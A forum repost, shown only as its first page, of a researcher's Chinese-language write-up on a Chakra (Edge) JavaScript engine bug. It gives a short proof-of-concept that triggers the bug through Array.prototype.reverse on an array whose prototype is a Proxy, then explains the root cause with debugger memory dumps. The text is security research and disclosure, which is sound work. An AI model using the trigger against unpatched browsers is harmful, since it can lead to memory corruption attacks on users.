技术控

    今日:116| 主题:49390
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] Three roads lead to Rome

[复制链接]
乡间河太急 发表于 2016-11-29 17:59:13
29 1

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
Linan Hao of Qihoo 360 Vulcan Team

   前言:

  在过去的两年里一直关注于浏览器方面的研究,主要以Fuzz为主,fuzzing在用户态的漏洞挖掘中,无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入,以及大量的fuzzer在互联网公开,寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难,fuzz出仅有的几个能用的漏洞还总被其他人撞掉,因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果,起初认为存量足够了,但大概在7月份左右开始,手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…),本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的,经历了几次改变,值得说一下。
   The Bug:

  var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
  var arr = new Array(alert)
  arr.length = 24
  arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
  arr.__proto__.reverse = Array.prototype.reverse
  arr.reverse()
   Root Cause:

  出问题的代码如下:
   
Three roads lead to Rome-1 (function,浏览器,互联网,return,大玩家)

  有很多地方都引用了这样的逻辑,JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型,认为传入ForEachOwnMissingArrayIndexOfObject
  的prototype一定是Var Array,如下图:

Three roads lead to Rome-2 (function,浏览器,互联网,return,大玩家)

  当然,通常一个Array赋值为proto时,会被默认转化成Var Array,例如:
  var x = {}
  x.__proto__ = [1,2,3]
  查看x的属性:
  0:009> dqs 0000022f`c251e920 l1
  0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
  0:009> dq poi(0000022f`c251e920+28)
  0000022f`c23b40a0 00000003`00000000 00000000`00000011
  0000022f`c23b40b0 00000000`00000000 00010000`11111111
  0000022f`c23b40c0 00010000`22222222 00010000`33333333
  0000022f`c23b40d0 80000002`80000002 80000002`80000002
     但ES6中Proxy的出现使代码逻辑变得更复杂,很多假设也不见得正确了,
   Proxy的原型如下
12345下一页
友荐云推荐




上一篇:未来已到——HTTP/2
下一篇:UITableView的Cell复用原理和源码分析
酷辣虫提示酷辣虫禁止发表任何与中华人民共和国法律有抵触的内容!所有内容由用户发布,并不代表酷辣虫的观点,酷辣虫无法对用户发布内容真实性提供任何的保证,请自行验证并承担风险与后果。如您有版权、违规等问题,请通过"联系我们"或"违规举报"告知我们处理。

扯不掉的面具 发表于 2016-11-30 04:37:29
顶起~~~~
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读

扫码访问 @iTTTTT瑞翔 的微博
回页顶回复上一篇下一篇回列表手机版
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )|网站地图 酷辣虫

© 2001-2016 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表